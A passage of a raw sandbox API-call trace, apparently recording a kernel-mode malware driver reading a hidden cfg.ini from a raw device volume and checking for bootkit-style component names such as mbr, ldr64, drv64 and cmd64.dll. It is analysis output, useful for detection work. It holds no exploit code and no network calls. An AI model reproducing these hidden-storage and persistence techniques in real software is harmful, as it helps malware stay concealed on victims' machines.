FastMutex=0xfffffa80027d3898) [0121.013] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.013] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.013] KeLeaveCriticalRegion () [0121.013] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.013] KeEnterCriticalRegion () [0121.013] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.013] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.013] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.013] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.013] KeLeaveCriticalRegion () [0121.013] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.013] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.014] KeEnterCriticalRegion () [0121.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.014] ExFreePoolWithTag (P=0xfffffa8003bbe950, Tag=0x0) [0121.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.014] KeLeaveCriticalRegion () [0121.014] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.014] ReleaseMutex (hMutex=0xf0) returned 1 [0121.014] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.014] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.014] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.014] KeEnterCriticalRegion () [0121.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.014] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.014] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.014] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.014] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.014] IdePortDispatch () returned 0x103 [0121.014] KeWaitForMutexObject () returned 0x0 [0121.014] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.014] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.014] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.014] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.014] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.014] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b9f550 [0121.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.014] KeLeaveCriticalRegion () [0121.014] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.014] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.014] KeEnterCriticalRegion () [0121.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.014] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.014] KeLeaveCriticalRegion () [0121.015] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.015] KeEnterCriticalRegion () [0121.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.015] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.015] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.015] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.015] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.015] IdePortDispatch () returned 0x103 [0121.015] KeWaitForMutexObject () returned 0x0 [0121.015] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.015] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.015] KeLeaveCriticalRegion () [0121.015] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.015] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.015] KeEnterCriticalRegion () [0121.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.015] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003540000 [0121.015] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.015] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.015] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.015] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.015] IdePortDispatch () returned 0x103 [0121.015] KeWaitForMutexObject () returned 0x0 [0121.015] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.015] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.015] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.015] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.015] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.015] IdePortDispatch () returned 0x103 [0121.016] KeWaitForMutexObject () returned 0x0 [0121.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.016] KeLeaveCriticalRegion () [0121.016] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.016] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.016] KeEnterCriticalRegion () [0121.016] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.016] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.016] KeLeaveCriticalRegion () [0121.016] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.016] KeEnterCriticalRegion () [0121.016] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.016] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.016] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.016] KeLeaveCriticalRegion () [0121.016] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.016] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.016] KeEnterCriticalRegion () [0121.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.017] ExFreePoolWithTag (P=0xfffffa8003b9f550, Tag=0x0) [0121.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.017] KeLeaveCriticalRegion () [0121.017] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.017] ReleaseMutex (hMutex=0xf0) returned 1 [0121.017] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.017] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.017] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.017] KeEnterCriticalRegion () [0121.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.017] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.017] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.017] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.017] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.017] IdePortDispatch () returned 0x103 [0121.017] KeWaitForMutexObject () returned 0x0 [0121.017] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.017] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.017] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.017] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.017] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.017] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe5a0 [0121.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.017] KeLeaveCriticalRegion () [0121.017] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.017] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.017] KeEnterCriticalRegion () [0121.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.017] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.017] KeLeaveCriticalRegion () [0121.017] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.017] KeEnterCriticalRegion () [0121.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.017] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.017] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.017] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.018] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.018] IdePortDispatch () returned 0x103 [0121.018] KeWaitForMutexObject () returned 0x0 [0121.018] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.018] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.018] KeLeaveCriticalRegion () [0121.018] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.018] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.018] KeEnterCriticalRegion () [0121.018] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.018] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003541000 [0121.018] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.018] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.018] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.018] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.018] IdePortDispatch () returned 0x103 [0121.018] KeWaitForMutexObject () returned 0x0 [0121.018] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.018] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.018] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.018] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.018] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.018] IdePortDispatch () returned 0x103 [0121.018] KeWaitForMutexObject () returned 0x0 [0121.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.019] KeLeaveCriticalRegion () [0121.019] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.019] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.019] KeEnterCriticalRegion () [0121.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.019] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.019] KeLeaveCriticalRegion () [0121.019] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.019] KeEnterCriticalRegion () [0121.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.019] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.019] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd9c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.019] KeLeaveCriticalRegion () [0121.019] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.019] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.019] KeEnterCriticalRegion () [0121.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.019] ExFreePoolWithTag (P=0xfffffa8003bbe5a0, Tag=0x0) [0121.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.019] KeLeaveCriticalRegion () [0121.019] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.019] ReleaseMutex (hMutex=0xf0) returned 1 [0121.019] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.019] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.019] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.020] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.020] KeEnterCriticalRegion () [0121.020] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.020] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.020] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.020] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.020] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.020] IdePortDispatch () returned 0x103 [0121.020] KeWaitForMutexObject () returned 0x0 [0121.020] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.020] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.020] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.020] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.020] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.020] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.020] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.020] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.020] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.020] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.020] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.020] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.020] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.020] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.020] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.020] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.020] KeLeaveCriticalRegion () [0121.020] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.020] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.020] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.020] KeEnterCriticalRegion () [0121.020] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.020] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.020] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.020] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.020] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.020] IdePortDispatch () returned 0x103 [0121.020] KeWaitForMutexObject () returned 0x0 [0121.021] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.021] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.021] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.021] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.021] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.021] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.021] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.021] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.021] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.021] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.021] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.021] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.021] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.021] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.021] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.021] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.021] KeLeaveCriticalRegion () [0121.021] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.021] ReleaseMutex (hMutex=0x100) returned 1 [0121.021] Sleep (dwMilliseconds=0x2bf20) [0121.027] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b550310, dwHighDateTime=0x1d24fa4)) [0121.027] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.027] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.027] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.027] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.027] KeEnterCriticalRegion () [0121.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.027] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.027] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.027] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.027] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.027] IdePortDispatch () returned 0x103 [0121.027] KeWaitForMutexObject () returned 0x0 [0121.028] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.028] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.028] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.028] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.028] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.028] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe250 [0121.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.028] KeLeaveCriticalRegion () [0121.028] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.028] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.028] KeEnterCriticalRegion () [0121.028] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.028] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.028] KeLeaveCriticalRegion () [0121.028] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.028] KeEnterCriticalRegion () [0121.028] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.028] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.028] IoAllocateMdl (in: 